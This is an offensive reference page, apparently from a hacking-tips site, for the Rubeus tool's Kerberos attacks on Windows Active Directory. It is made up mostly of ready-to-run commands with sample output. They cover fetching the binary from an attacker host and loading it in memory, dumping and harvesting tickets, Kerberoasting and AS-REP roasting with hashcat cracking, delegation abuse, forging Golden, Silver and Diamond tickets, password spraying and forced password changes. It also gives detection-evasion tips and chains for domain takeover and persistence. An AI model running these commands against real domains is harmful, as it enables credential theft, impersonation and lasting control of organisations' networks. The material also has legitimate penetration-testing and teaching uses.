Skip to content
HackIndex.io

Rubeus Active Directory Reference

15 min read Created Sep 11, 2026 Last updated Sep 11, 2026

Rubeus is a C# tool for raw Kerberos interaction and abuse on Windows. It handles ticket requests, extraction, forgery, roasting, constrained delegation abuse, pass-the-ticket, and credential harvesting, all from a single binary. Unlike impacket (which runs from Linux over the network), Rubeus operates from a compromised Windows host or an attacker Windows VM and talks directly to the KDC.

Getting Rubeus

Rubeus ships pre-compiled on Kali at /usr/share/rubeus/Rubeus.exe. Transfer it to the target or load it reflectively. To compile the latest version from source, clone the repo and build with Visual Studio or dotnet.

┌──(kali㉿kali)-[~]
└─$ # Host Rubeus on your attacker machine
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 80 -d /usr/share/rubeus/
PS C:\Users\Guest\Desktop> # Download from attacker
PS C:\Users\Guest\Desktop> Invoke-WebRequest -Uri http://$LHOST/Rubeus.exe -OutFile C:\Windows\Temp\Rubeus.exe
 
PS C:\Users\Guest\Desktop> # Or load reflectively in memory (no file on disk)
PS C:\Users\Guest\Desktop> $data = (New-Object Net.WebClient).DownloadData('http://$LHOST/Rubeus.exe')
PS C:\Users\Guest\Desktop> $assem = [System.Reflection.Assembly]::Load($data)
PS C:\Users\Guest\Desktop> [Rubeus.Program]::MainString("triage")

Authentication Methods

Most Rubeus commands that request tickets accept credentials in several forms. Use whichever you have.

PS C:\Users\Guest\Desktop> # Plaintext password (Rubeus derives the key internally)
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgt /user:$USER /password:$PASSWORD /domain:$DOMAIN /dc:$TARGET_IP /ptt
 
PS C:\Users\Guest\Desktop> # NTLM / RC4 hash
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgt /user:$USER /rc4:$NTHASH /domain:$DOMAIN /dc:$TARGET_IP /ptt
 
PS C:\Users\Guest\Desktop> # AES-256 key (stealthier, avoids RC4 downgrade detection)
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgt /user:$USER /aes256:$AES_KEY /domain:$DOMAIN /dc:$TARGET_IP /ptt
 
PS C:\Users\Guest\Desktop> # Certificate (PKINIT) from a PFX file
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgt /user:$USER /certificate:cert.pfx /certpassword:pfxpass /domain:$DOMAIN /dc:$TARGET_IP /getcredentials
 
PS C:\Users\Guest\Desktop> # Certificate from the Windows certificate store (by thumbprint)
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgt /user:$USER /certificate:A1B2C3D4... /domain:$DOMAIN /dc:$TARGET_IP /getcredentials

Placeholders Used Here

  • $DOMAIN - FQDN, e.g. corp.local.

  • $USER / $PASSWORD - current foothold account credentials.

  • $NTHASH - NT hash of $USER (RC4 key).

  • $AES_KEY - AES-256 key of $USER.

  • $TARGET_IP - DC IP address. Use the DC FQDN when Kerberos name resolution matters.

  • $TARGET_USER - sAMAccountName of the target account.

  • $TARGET_SPN - service principal name, e.g. cifs/dc01.corp.local.

  • $LHOST - attacker IP for file transfers.

Ticket Triage, Listing and Extraction

triage gives a quick summary of all accessible tickets in the current logon session (or all sessions when elevated). klist shows full ticket details. dump extracts the raw ticket as base64 for reuse with /ticket: in other commands. tgtdeleg retrieves a usable TGT for the current user without elevation, using the Kerberos GSS-API delegation trick.

PS C:\Users\Guest\Desktop> # Quick overview of all tickets in accessible sessions
PS C:\Users\Guest\Desktop> .\Rubeus.exe triage
 
PS C:\Users\Guest\Desktop> # Detailed ticket info
PS C:\Users\Guest\Desktop> .\Rubeus.exe klist
 
PS C:\Users\Guest\Desktop> # Dump tickets as base64 (use /nowrap for clean copy-paste)
PS C:\Users\Guest\Desktop> .\Rubeus.exe dump /nowrap
 
PS C:\Users\Guest\Desktop> # Dump only tickets for a specific user or service
PS C:\Users\Guest\Desktop> .\Rubeus.exe dump /user:$TARGET_USER /nowrap
PS C:\Users\Guest\Desktop> .\Rubeus.exe dump /service:krbtgt /nowrap
 
PS C:\Users\Guest\Desktop> # Target a specific logon session (requires elevation)
PS C:\Users\Guest\Desktop> .\Rubeus.exe dump /luid:0x3e4 /nowrap 
----------------------------------------------
| LUID     | UserName     | Service          | EndTime              |
----------------------------------------------
| 0x462eb  | svc_backup   | krbtgt/CORP.LOCAL | 9/12/2026 2:14:28 AM |
PS C:\Users\Guest\Desktop> # Get a usable TGT for the current user via the delegation trick
PS C:\Users\Guest\Desktop> .\Rubeus.exe tgtdeleg /target:cifs/dc01.$DOMAIN /nowrap

Works without admin rights. The trick abuses AP-REQ/GSS-API to extract a forwardable TGT. The /target SPN must be valid but does not need to be the service you are attacking.

Requesting Tickets

asktgt requests a TGT from the KDC. asktgs requests a service ticket using an existing TGT. /ptt injects the ticket into the current session immediately. /getcredentials (on asktgt with a certificate) performs a U2U request to recover the account's NT hash.

PS C:\Users\Guest\Desktop> # Request TGT with password and inject
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgt /user:$USER /password:$PASSWORD /domain:$DOMAIN /dc:$TARGET_IP /ptt
 
PS C:\Users\Guest\Desktop> # Request TGT with RC4 hash
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgt /user:$USER /rc4:$NTHASH /domain:$DOMAIN /dc:$TARGET_IP /ptt
 
PS C:\Users\Guest\Desktop> # Request TGT with AES key (stealthier)
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgt /user:$USER /aes256:$AES_KEY /domain:$DOMAIN /dc:$TARGET_IP /enctype:aes256 /opsec /ptt
 
PS C:\Users\Guest\Desktop> # PKINIT with certificate, recover NT hash
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgt /user:$USER /certificate:cert.pfx /certpassword:pfxpass /domain:$DOMAIN /dc:$TARGET_IP /getcredentials
 
PS C:\Users\Guest\Desktop> # Request TGT and spawn a new process with it (avoids overwriting current session tickets)
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgt /user:$USER /rc4:$NTHASH /domain:$DOMAIN /dc:$TARGET_IP /createnetonly:C:\Windows\System32\cmd.exe /show
Explain command
/ptt Inject the resulting ticket into the current logon session.
/opsec Send an unauthenticated AS-REQ first to mimic normal Windows behavior.
/enctype Force a specific encryption type (aes256, aes128, rc4, des).
/nowrap Output base64 on a single line for clean copy-paste.
PS C:\Users\Guest\Desktop> # Request a service ticket using a TGT (base64)
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgs /ticket:<base64_TGT> /service:$TARGET_SPN /dc:$TARGET_IP /ptt
 
PS C:\Users\Guest\Desktop> # Request multiple service tickets at once
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgs /ticket:<base64_TGT> /service:cifs/dc01.$DOMAIN,ldap/dc01.$DOMAIN /dc:$TARGET_IP /ptt
 
PS C:\Users\Guest\Desktop> # User-to-User (U2U) request
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgs /ticket:<base64_TGT> /service:$TARGET_SPN /u2u /targetuser:$TARGET_USER /dc:$TARGET_IP /ptt
PS C:\Users\Guest\Desktop> # Renew a TGT once
PS C:\Users\Guest\Desktop> .\Rubeus.exe renew /ticket:<base64_TGT> /dc:$TARGET_IP /ptt
 
PS C:\Users\Guest\Desktop> # Auto-renew until the renewable lifetime expires
PS C:\Users\Guest\Desktop> .\Rubeus.exe renew /ticket:<base64_TGT> /dc:$TARGET_IP /autorenew

Kerberoasting

Request service tickets for accounts with SPNs and crack them offline. /stats surveys the environment first without requesting tickets. /rc4opsec targets only accounts using RC4 encryption (more likely to have weak passwords). /aes requests AES-encrypted tickets (hashcat mode 19700).

PS C:\Users\Guest\Desktop> # Survey: list Kerberoastable accounts and encryption types
PS C:\Users\Guest\Desktop> .\Rubeus.exe kerberoast /stats
 
PS C:\Users\Guest\Desktop> # Roast all SPNs, output in hashcat format
PS C:\Users\Guest\Desktop> .\Rubeus.exe kerberoast /outfile:hashes.txt /nowrap
 
PS C:\Users\Guest\Desktop> # Target a single account
PS C:\Users\Guest\Desktop> .\Rubeus.exe kerberoast /user:$TARGET_USER /outfile:hashes.txt /nowrap
 
PS C:\Users\Guest\Desktop> # Only target RC4-enabled accounts (more likely to crack)
PS C:\Users\Guest\Desktop> .\Rubeus.exe kerberoast /rc4opsec /outfile:hashes.txt /nowrap
 
PS C:\Users\Guest\Desktop> # Request AES-encrypted tickets (hashcat -m 19700)
PS C:\Users\Guest\Desktop> .\Rubeus.exe kerberoast /aes /outfile:hashes.txt /nowrap
 
PS C:\Users\Guest\Desktop> # Use alternate LDAP credentials for the SPN lookup
PS C:\Users\Guest\Desktop> .\Rubeus.exe kerberoast /creduser:$DOMAIN\$USER /credpassword:$PASSWORD /outfile:hashes.txt /nowrap 
[*] Total kerberoastable users: 3

$krb5tgs$23$*svc_mssql$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$a1b2c3...
Explain command
/stats Print SPN account statistics without actually roasting.
/rc4opsec Only target accounts that support RC4 (more likely to crack).
/user Target a specific account instead of all SPNs.
/nowrap Single-line base64 output for clean copy-paste to hashcat.
┌──(kali㉿kali)-[~]
└─$ # RC4 (hashcat mode 13100)
┌──(kali㉿kali)-[~]
└─$ hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
 
┌──(kali㉿kali)-[~]
└─$ # AES-256 (hashcat mode 19700)
┌──(kali㉿kali)-[~]
└─$ hashcat -m 19700 hashes.txt /usr/share/wordlists/rockyou.txt

AS-REP Roasting

Request encrypted AS-REP blobs for accounts that do not require Kerberos pre-authentication. No credentials needed for the roast itself, only a list of target usernames.

PS C:\Users\Guest\Desktop> # Roast all accounts with DONT_REQ_PREAUTH (LDAP lookup, needs domain creds)
PS C:\Users\Guest\Desktop> .\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt /nowrap
 
PS C:\Users\Guest\Desktop> # Roast a specific user (no LDAP needed)
PS C:\Users\Guest\Desktop> .\Rubeus.exe asreproast /user:$TARGET_USER /domain:$DOMAIN /dc:$TARGET_IP /format:hashcat /outfile:asrep.txt /nowrap
 
PS C:\Users\Guest\Desktop> # Use alternate LDAP credentials for the user lookup
PS C:\Users\Guest\Desktop> .\Rubeus.exe asreproast /creduser:$DOMAIN\$USER /credpassword:$PASSWORD /format:hashcat /outfile:asrep.txt /nowrap 
$krb5asrep$23$svc_legacy@CORP.LOCAL:9f8e7d...
Explain command
/format Output format: hashcat (default) or john.
/user Target a single user. Omit to enumerate all via LDAP.
┌──(kali㉿kali)-[~]
└─$ hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

Constrained Delegation Abuse (S4U)

s4u performs S4U2Self and S4U2Proxy to impersonate a user to a service. Works for both traditional constrained delegation (msDS-AllowedToDelegateTo) and resource-based constrained delegation (RBCD). For RBCD, add /self to perform only S4U2Self, then use the resulting ticket for S4U2Proxy. /altservice substitutes the service name in the final ticket (same host, different SPN).

PS C:\Users\Guest\Desktop> # Traditional constrained delegation: impersonate Administrator to target SPN
PS C:\Users\Guest\Desktop> .\Rubeus.exe s4u /user:$USER /rc4:$NTHASH /impersonateuser:Administrator /msdsspn:$TARGET_SPN /domain:$DOMAIN /dc:$TARGET_IP /ptt
 
PS C:\Users\Guest\Desktop> # With alternative service names (rewrite SPN to cifs for file access)
PS C:\Users\Guest\Desktop> .\Rubeus.exe s4u /user:$USER /rc4:$NTHASH /impersonateuser:Administrator /msdsspn:time/dc01.$DOMAIN /altservice:cifs /domain:$DOMAIN /dc:$TARGET_IP /ptt
 
PS C:\Users\Guest\Desktop> # Use an existing TGT instead of credentials
PS C:\Users\Guest\Desktop> .\Rubeus.exe s4u /ticket:<base64_TGT> /impersonateuser:Administrator /msdsspn:$TARGET_SPN /domain:$DOMAIN /dc:$TARGET_IP /ptt
Explain command
/impersonateuser User to impersonate (e.g. Administrator).
/msdsspn Target SPN to request the service ticket for.
/altservice Substitute the SPN in the final ticket (e.g. cifs,ldap,http).
/self Perform only S4U2Self (needed for RBCD abuse flow).
PS C:\Users\Guest\Desktop> # RBCD flow: use the controlled machine account to impersonate Administrator
PS C:\Users\Guest\Desktop> # Requires msDS-AllowedToActOnBehalfOfOtherIdentity to be set on the target computer
PS C:\Users\Guest\Desktop> .\Rubeus.exe s4u /user:ATTACKER$ /rc4:$NTHASH /impersonateuser:Administrator /msdsspn:cifs/target.$DOMAIN /domain:$DOMAIN /dc:$TARGET_IP /ptt

The machine account ATTACKER$ must be listed in the target computer's msDS-AllowedToActOnBehalfOfOtherIdentity attribute. Set it with bloodyAD, PowerView, or impacket-rbcd.

Ticket Forgery

Forge tickets when you have the required key material. A Golden Ticket uses the krbtgt hash and grants domain-wide access. A Silver Ticket uses a service account hash and targets a single service. A Diamond Ticket modifies the PAC of a legitimately requested TGT, making it harder to detect than a pure Golden Ticket.

PS C:\Users\Guest\Desktop> # Forge a Golden Ticket with RC4 (krbtgt NTLM hash)
PS C:\Users\Guest\Desktop> .\Rubeus.exe golden /rc4:<KRBTGT_NTHASH> /user:fakeadmin /domain:$DOMAIN /sid:S-1-5-21-... /dc:$TARGET_IP /ptt
 
PS C:\Users\Guest\Desktop> # Forge with AES-256 (stealthier, avoids RC4 anomaly detection)
PS C:\Users\Guest\Desktop> .\Rubeus.exe golden /aes256:<KRBTGT_AES256> /user:fakeadmin /domain:$DOMAIN /sid:S-1-5-21-... /dc:$TARGET_IP /ptt
 
PS C:\Users\Guest\Desktop> # With LDAP lookup for realistic PAC values
PS C:\Users\Guest\Desktop> .\Rubeus.exe golden /aes256:<KRBTGT_AES256> /user:Administrator /id:500 /domain:$DOMAIN /sid:S-1-5-21-... /dc:$TARGET_IP /ldap /ptt
 
PS C:\Users\Guest\Desktop> # Cross-domain with SID history (Enterprise Admin in parent domain)
PS C:\Users\Guest\Desktop> .\Rubeus.exe golden /rc4:<KRBTGT_NTHASH> /user:fakeadmin /domain:child.$DOMAIN /sid:S-1-5-21-child... /sids:S-1-5-21-parent...-519 /dc:$TARGET_IP /ptt
Explain command
/rc4 krbtgt NTLM hash (from DCSync or secretsdump).
/aes256 krbtgt AES-256 key (preferred, stealthier).
/sid Domain SID (S-1-5-21-...).
/id User RID in the forged PAC (500 for Administrator).
/groups Group RIDs (512 = Domain Admins, 519 = Enterprise Admins).
/ldap Query LDAP for correct PAC field values.
PS C:\Users\Guest\Desktop> # Forge a Silver Ticket for CIFS access to a specific host
PS C:\Users\Guest\Desktop> .\Rubeus.exe silver /rc4:<SERVICE_NTHASH> /service:cifs/target.$DOMAIN /user:Administrator /domain:$DOMAIN /sid:S-1-5-21-... /dc:$TARGET_IP /ptt
 
PS C:\Users\Guest\Desktop> # With KDC signature for PAC validation bypass
PS C:\Users\Guest\Desktop> .\Rubeus.exe silver /aes256:<SERVICE_AES256> /service:cifs/target.$DOMAIN /krbkey:<KRBTGT_AES256> /krbenctype:aes256 /user:Administrator /domain:$DOMAIN /sid:S-1-5-21-... /dc:$TARGET_IP /ldap /ptt
Explain command
/service SPN of the target service (e.g. cifs/dc01.corp.local).
/krbkey AES key for the KDC signature in the PAC.
/krbenctype Encryption type of the KDC key (aes256).
PS C:\Users\Guest\Desktop> # Diamond Ticket: request a real TGT, then modify its PAC
PS C:\Users\Guest\Desktop> .\Rubeus.exe diamond /user:$USER /password:$PASSWORD /krbkey:<KRBTGT_AES256> /ticketuser:Administrator /ticketuserid:500 /groups:512 /domain:$DOMAIN /dc:$TARGET_IP /ptt
 
PS C:\Users\Guest\Desktop> # Without credentials: use tgtdeleg trick for the initial TGT
PS C:\Users\Guest\Desktop> .\Rubeus.exe diamond /tgtdeleg /krbkey:<KRBTGT_AES256> /ticketuser:Administrator /ticketuserid:500 /groups:512 /domain:$DOMAIN /dc:$TARGET_IP /ptt
Explain command
/krbkey krbtgt AES-256 key used to decrypt and re-encrypt the PAC.
/ticketuser Username to set in the modified PAC.
/ticketuserid RID for the PAC user (500 for Administrator).
/groups Group RIDs to inject into the PAC.
/tgtdeleg Use the delegation trick to get the initial TGT (no creds needed).

Diamond Tickets are harder to detect than Golden Tickets because the TGT is legitimately issued by the KDC. Only the PAC is modified after the fact. The ticket's metadata (timestamps, encryption) matches a real request.

Pass-the-Ticket

ptt imports a ticket (base64 or .kirbi file) into the current or a specified logon session. createnetonly spawns a new hidden process with a separate logon session, useful for applying tickets without overwriting your current session's tickets. purge clears all tickets from a session.

PS C:\Users\Guest\Desktop> # Import a base64 ticket into the current session
PS C:\Users\Guest\Desktop> .\Rubeus.exe ptt /ticket:<base64_ticket>
 
PS C:\Users\Guest\Desktop> # Import a .kirbi file
PS C:\Users\Guest\Desktop> .\Rubeus.exe ptt /ticket:ticket.kirbi
 
PS C:\Users\Guest\Desktop> # Import into a specific logon session (requires elevation)
PS C:\Users\Guest\Desktop> .\Rubeus.exe ptt /ticket:<base64_ticket> /luid:0x462eb
 
PS C:\Users\Guest\Desktop> # Spawn a new process with its own logon session, inject the ticket there
PS C:\Users\Guest\Desktop> .\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /show /ticket:<base64_ticket>
 
PS C:\Users\Guest\Desktop> # Clear all tickets from the current session
PS C:\Users\Guest\Desktop> .\Rubeus.exe purge
 
PS C:\Users\Guest\Desktop> # Clear tickets from a specific logon session
PS C:\Users\Guest\Desktop> .\Rubeus.exe purge /luid:0x462eb

Monitoring and Harvesting TGTs

monitor watches for new TGTs appearing across logon sessions at a set interval. harvest does the same but also auto-renews tickets and displays them periodically. Both require elevation. Useful on a compromised server or DC to capture TGTs of users authenticating to it (e.g. via unconstrained delegation).

PS C:\Users\Guest\Desktop> # Monitor for new TGTs every 60 seconds
PS C:\Users\Guest\Desktop> .\Rubeus.exe monitor /interval:60 /nowrap
 
PS C:\Users\Guest\Desktop> # Monitor for a specific user
PS C:\Users\Guest\Desktop> .\Rubeus.exe monitor /interval:60 /targetuser:Administrator /nowrap
 
PS C:\Users\Guest\Desktop> # Harvest with auto-renew, display every 5 minutes, run for 1 hour
PS C:\Users\Guest\Desktop> .\Rubeus.exe harvest /monitorinterval:60 /displayinterval:300 /runfor:3600 /nowrap 
[*] 9/12/2026 2:14:28 AM UTC - Found new TGT:

  User         : Administrator@CORP.LOCAL
  StartTime    : 9/12/2026 2:14:28 AM
  EndTime      : 9/12/2026 12:14:28 PM
  RenewTill    : 9/19/2026 2:14:28 AM
  Flags        : name_canonicalize, pre_authent, initial, renewable, forwardable
  Base64EncodedTicket: doIFqD...
Explain command
/interval Seconds between checks (monitor).
/monitorinterval Seconds between checks (harvest).
/displayinterval Seconds between displaying collected tickets (harvest).
/targetuser Only capture tickets for this user.
/runfor Maximum seconds to run before stopping.

Kerberos Password Spraying

brute performs Kerberos-based password spraying. Unlike LDAP-based spraying (nxc), Kerberos pre-authentication failures generate event 4771 (not 4625), and the brute does not trigger LDAP lockout policies. Spray responsibly to avoid account lockouts.

PS C:\Users\Guest\Desktop> # Spray a single password against a user list
PS C:\Users\Guest\Desktop> .\Rubeus.exe brute /password:Welcome1 /users:users.txt /domain:$DOMAIN /dc:$TARGET_IP /noticket
 
PS C:\Users\Guest\Desktop> # Spray multiple passwords
PS C:\Users\Guest\Desktop> .\Rubeus.exe brute /passwords:passwords.txt /users:users.txt /domain:$DOMAIN /dc:$TARGET_IP /noticket /verbose
 
PS C:\Users\Guest\Desktop> # Target a single user with multiple passwords
PS C:\Users\Guest\Desktop> .\Rubeus.exe brute /passwords:passwords.txt /user:$TARGET_USER /domain:$DOMAIN /dc:$TARGET_IP /noticket 
[+] STUPENDOUS => $TARGET_USER:Welcome1
Explain command
/passwords File containing passwords to try (one per line).
/users File containing usernames to spray (one per line).
/noticket Do not request TGTs for successful auths (spray only).

Pre-Authentication Scanning

preauthscan enumerates accounts that do not require Kerberos pre-authentication, without actually requesting the AS-REP blob. Use it before asreproast to identify targets.

PS C:\Users\Guest\Desktop> .\Rubeus.exe preauthscan /users:users.txt /domain:$DOMAIN /dc:$TARGET_IP 
[*] svc_legacy - DONT_REQ_PREAUTH set!
[*] backup_svc - DONT_REQ_PREAUTH set!

Utility Commands

Smaller subcommands for ticket manipulation, password changes, and key derivation.

hash (derive Kerberos keys from password)

Calculate RC4, AES-128, AES-256, and DES keys from a plaintext password. Useful when you have a password and need the hash for asktgt /rc4: or /aes256:.

PS C:\Users\Guest\Desktop> .\Rubeus.exe hash /password:$PASSWORD /user:$USER /domain:$DOMAIN 
[*] rc4_hmac       : 2B576ACBE6BCFDA7294D6BD18041B8FE
[*] aes128_cts     : 7A2D1E3F...
[*] aes256_cts     : 9C4B8A1D...
[*] des_cbc_md5    : 1F2E3D4C...

describe (parse a ticket)

Decode and display the contents of a .kirbi or base64-encoded ticket without importing it.

PS C:\Users\Guest\Desktop> # Parse a base64 ticket
PS C:\Users\Guest\Desktop> .\Rubeus.exe describe /ticket:<base64_ticket>
 
PS C:\Users\Guest\Desktop> # Parse a .kirbi file
PS C:\Users\Guest\Desktop> .\Rubeus.exe describe /ticket:ticket.kirbi
 
PS C:\Users\Guest\Desktop> # Decrypt the ticket with the service key to see the PAC
PS C:\Users\Guest\Desktop> .\Rubeus.exe describe /ticket:<base64_ticket> /servicekey:<AES256_KEY>

tgssub (rewrite SPN in a service ticket)

Substitute the service name in an existing service ticket. Useful when you have a ticket for one SPN on a host and need access to a different service on the same host (e.g. swap time/dc01 for cifs/dc01).

PS C:\Users\Guest\Desktop> # Rewrite the SPN in the ticket from time/ to cifs/
PS C:\Users\Guest\Desktop> .\Rubeus.exe tgssub /ticket:<base64_ticket> /altservice:cifs/dc01.$DOMAIN /ptt

changepw (Kerberos password change)

Change or set a target user's password using a TGT via the Kerberos set-password protocol (RFC 3244). Requires a TGT for the target user or an account with the right to reset their password.

PS C:\Users\Guest\Desktop> # Change password using a TGT for the target user
PS C:\Users\Guest\Desktop> .\Rubeus.exe changepw /ticket:<base64_TGT> /new:NewPass123! /dc:$TARGET_IP
 
PS C:\Users\Guest\Desktop> # Target a different user (requires appropriate privileges in the TGT)
PS C:\Users\Guest\Desktop> .\Rubeus.exe changepw /ticket:<base64_TGT> /new:NewPass123! /targetuser:$TARGET_USER /targetdomain:$DOMAIN /dc:$TARGET_IP 
[+] Password successfully changed!

currentluid / logonsession

Display information about the current logon session or enumerate all logon sessions on the host.

PS C:\Users\Guest\Desktop> # Show current user's logon session ID
PS C:\Users\Guest\Desktop> .\Rubeus.exe currentluid
 
PS C:\Users\Guest\Desktop> # List all logon sessions (requires elevation)
PS C:\Users\Guest\Desktop> .\Rubeus.exe logonsession
 
PS C:\Users\Guest\Desktop> # Show only the current session
PS C:\Users\Guest\Desktop> .\Rubeus.exe logonsession /current 
[*] Current LUID: 0x462eb

Common Attack Chains

Rubeus is rarely used in isolation. These are the most common chains where Rubeus plays a role.

  • Kerberoast to credential access: kerberoast /stats to survey, kerberoast /rc4opsec to extract, hashcat to crack, then asktgt with the cracked password.

  • RBCD abuse: create a computer account (bloodyAD/PowerView), set msDS-AllowedToActOnBehalfOfOtherIdentity, then s4u to impersonate Administrator to the target.

  • Shadow Credentials to TGT: write msDS-KeyCredentialLink (bloodyAD/Whisker), authenticate with PKINIT via asktgt /certificate:, recover NT hash with /getcredentials.

  • DCSync to Golden Ticket: dump the krbtgt hash with secretsdump, then golden /aes256:<krbtgt_aes> for persistent domain access.

  • Diamond Ticket (stealth persistence): with the krbtgt AES key, diamond /tgtdeleg /krbkey:<key> /ticketuser:Administrator creates a ticket that looks legitimate to most detections.

  • Unconstrained delegation harvest: compromise a server with unconstrained delegation, run monitor to capture TGTs of authenticating users, then ptt to use them.

References